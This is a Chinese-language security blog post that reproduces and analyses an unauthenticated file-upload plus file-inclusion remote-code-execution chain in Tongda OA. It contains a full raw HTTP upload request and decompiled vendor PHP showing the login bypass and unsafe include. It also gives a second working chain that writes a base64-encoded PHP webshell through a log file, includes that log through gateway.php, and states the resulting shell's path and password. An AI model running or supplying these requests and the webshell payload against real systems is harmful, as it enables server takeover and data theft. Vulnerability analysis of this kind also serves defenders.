通达OA 任意文件上传配合文件包含导致RCE

Share on:

昨晚爆出来,今天早上分析分析。

复现

 1POST /ispirit/im/upload.php HTTP/1.1
 2Host: 192.168.124.138
 3Content-Length: 463
 4Cache-Control: max-age=0
 5Origin: null
 6Upgrade-Insecure-Requests: 1
 7DNT: 1
 8Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTfafXJtEseBHh3r1
 9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11Accept-Encoding: gzip, deflate
12Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
13Cookie: KEY_RANDOMDATA=3656; PHPSESSID=Y4er
14Connection: close
15
16------WebKitFormBoundaryTfafXJtEseBHh3r1
17Content-Disposition: form-data; name="ATTACHMENT"; filename="1.png"
18Content-Type: application/octet-stream
19
20<?php echo 'Y4er';
21------WebKitFormBoundaryTfafXJtEseBHh3r1
22Content-Disposition: form-data; name="P"
23
24Y4er
25------WebKitFormBoundaryTfafXJtEseBHh3r1
26Content-Disposition: form-data; name="DEST_UID"
27
2812
29------WebKitFormBoundaryTfafXJtEseBHh3r1
30Content-Disposition: form-data; name="UPLOAD_MODE"
31
321
33

image

先上传文件,然后文件包含

image

文件上传

代码是zend加密的,百度一搜一大把解密。

文件上传的代码

  1<?php
  2//decode by http://dezend.qiling.org  QQ 2859470
  3
  4set_time_limit(0);
  5$P = $_POST['P'];
  6if (isset($P) || $P != '') {
  7    ob_start();
  8    include_once 'inc/session.php';
  9    session_id($P);
 10    session_start();
 11    session_write_close();
 12} else {
 13    include_once './auth.php';
 14}
 15include_once 'inc/utility_file.php';
 16include_once 'inc/utility_msg.php';
 17include_once 'mobile/inc/funcs.php';
 18ob_end_clean();
 19$TYPE = $_POST['TYPE'];
 20$DEST_UID = $_POST['DEST_UID'];
 21$dataBack = array();
 22if ($DEST_UID != '' && !td_verify_ids($ids)) {
 23    $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
 24    echo json_encode(data2utf8($dataBack));
 25    exit;
 26}
 27if (strpos($DEST_UID, ',') !== false) {
 28} else {
 29    $DEST_UID = intval($DEST_UID);
 30}
 31if ($DEST_UID == 0) {
 32    if ($UPLOAD_MODE != 2) {
 33        $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
 34        echo json_encode(data2utf8($dataBack));
 35        exit;
 36    }
 37}
 38$MODULE = 'im';
 39if (1 <= count($_FILES)) {
 40    if ($UPLOAD_MODE == '1') {
 41        if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
 42            $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
 43        }
 44    }
 45    $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
 46    if (!is_array($ATTACHMENTS)) {
 47        $dataBack = array('status' => 0, 'content' => '-ERR ' . $ATTACHMENTS);
 48        echo json_encode(data2utf8($dataBack));
 49        exit;
 50    }
 51    ob_end_clean();
 52    $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
 53    $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
 54    if ($TYPE == 'mobile') {
 55        $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
 56    }
 57} else {
 58    $dataBack = array('status' => 0, 'content' => '-ERR ' . _('无文件上传'));
 59    echo json_encode(data2utf8($dataBack));
 60    exit;
 61}
 62$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
 63if (!$FILE_SIZE) {
 64    $dataBack = array('status' => 0, 'content' => '-ERR ' . _('文件上传失败'));
 65    echo json_encode(data2utf8($dataBack));
 66    exit;
 67}
 68if ($UPLOAD_MODE == '1') {
 69    if (is_thumbable($ATTACHMENT_NAME)) {
 70        $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
 71        $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
 72        CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
 73    }
 74    $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
 75    $MSG_CATE = $_POST['MSG_CATE'];
 76    if ($MSG_CATE == 'file') {
 77        $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
 78    } else {
 79        if ($MSG_CATE == 'image') {
 80            $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
 81        } else {
 82            $DURATION = intval($DURATION);
 83            $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
 84        }
 85    }
 86    $AID = 0;
 87    $POS = strpos($ATTACHMENT_ID, '@');
 88    if ($POS !== false) {
 89        $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
 90    }
 91    $query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' . $AID . '\')';
 92    $cursor = exequery(TD::conn(), $query);
 93    $FILE_ID = mysql_insert_id();
 94    if ($cursor === false) {
 95        $dataBack = array('status' => 0, 'content' => '-ERR ' . _('数据库操作失败'));
 96        echo json_encode(data2utf8($dataBack));
 97        exit;
 98    }
 99    $dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);
100    echo json_encode(data2utf8($dataBack));
101    exit;
102} else {
103    if ($UPLOAD_MODE == '2') {
104        $DURATION = intval($_POST['DURATION']);
105        $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
106        $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')';
107        $cursor = exequery(TD::conn(), $query);
108        echo '+OK ' . $CONTENT;
109    } else {
110        if ($UPLOAD_MODE == '3') {
111            if (is_thumbable($ATTACHMENT_NAME)) {
112                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
113                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
114                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
115            }
116            echo '+OK ' . $ATTACHMENT_ID;
117        } else {
118            $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
119            $msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
120            $query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\')';
121            $cursor = exequery(TD::conn(), $query);
122            $FILE_ID = mysql_insert_id();
123            if ($cursor === false) {
124                echo '-ERR ' . _('数据库操作失败');
125                exit;
126            }
127            if ($FILE_ID == 0) {
128                echo '-ERR ' . _('数据库操作失败2');
129                exit;
130            }
131            echo '+OK ,' . $FILE_ID . ',' . $msg_id;
132            exit;
133        }
134    }
135}

关键点在于 image

POST提交P参数,就不会引入auth.php,进而绕过登陆。

image

然后就是需要传一个DEST_UID参数来过exit,只要不为0或空的数字都可以。然后就可以走到upload函数了,接下来如果$UPLOAD_MODE == '1'就会把ATTACHMENT_ID输出出来,这个id其实就是我们马的文件名,但是因为不在web目录,所以需要一个文件包含。

文件包含

代码

 1<?php
 2//decode by http://dezend.qiling.org  QQ 2859470
 3
 4ob_start();
 5include_once 'inc/session.php';
 6include_once 'inc/conn.php';
 7include_once 'inc/utility_org.php';
 8if ($P != '') {
 9    if (preg_match('/[^a-z0-9;]+/i', $P)) {
10        echo _('非法参数');
11        exit;
12    }
13    session_id($P);
14    session_start();
15    session_write_close();
16    if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
17        echo _('RELOGIN');
18        exit;
19    }
20}
21if ($json) {
22    $json = stripcslashes($json);
23    $json = (array) json_decode($json);
24    foreach ($json as $key => $val) {
25        if ($key == 'data') {
26            $val = (array) $val;
27            foreach ($val as $keys => $value) {
28                ${$keys} = $value;
29            }
30        }
31        if ($key == 'url') {
32            $url = $val;
33        }
34    }
35    if ($url != '') {
36        if (substr($url, 0, 1) == '/') {
37            $url = substr($url, 1);
38        }
39        include_once $url;
40    }
41    exit;
42}

这里不传P参数就能绕过exit了,然后走到下面的include_once进行文件包含造成RCE。

我的环境是通达oa2017,2020/03/18从官网下的。php.ini默认禁用了disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,不知道其他版本是什么情况。参考使用com组件绕过disable_function

通达OA之前报过变量覆盖的洞,所以你要知道直接传入的参数就会被覆盖掉变量里,这也是上面UPLOAD_MODE、P、DEST_UID可以直接传入的原因。

有些版本gateway.php路径不同,例如2013:

1/ispirit/im/upload.php
2/ispirit/interface/gateway.php

例如2017:

1/ispirit/im/upload.php
2/mac/gateway.php

2015没有文件包含,官方给的补丁2017的没有修复文件包含,所以还有很多种包含日志文件getshell的姿势,不一定要文件上传。

1http://192.168.124.138/api/ddsuite/error.php
2POST:message=<?php file_put_contents("2.php",base64_decode("PD9waHAgYXNzZXJ0KCRfUE9TVFsxXSk7Pz4="));?>52011 

然后包含

1http://192.168.124.138/mac/gateway.php
2POST:json={"url":"..\/..\/logs\/oa\/2003\/dd_error.log"}

http://192.168.124.138/mac/2.php就是shell密码1

参考链接

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。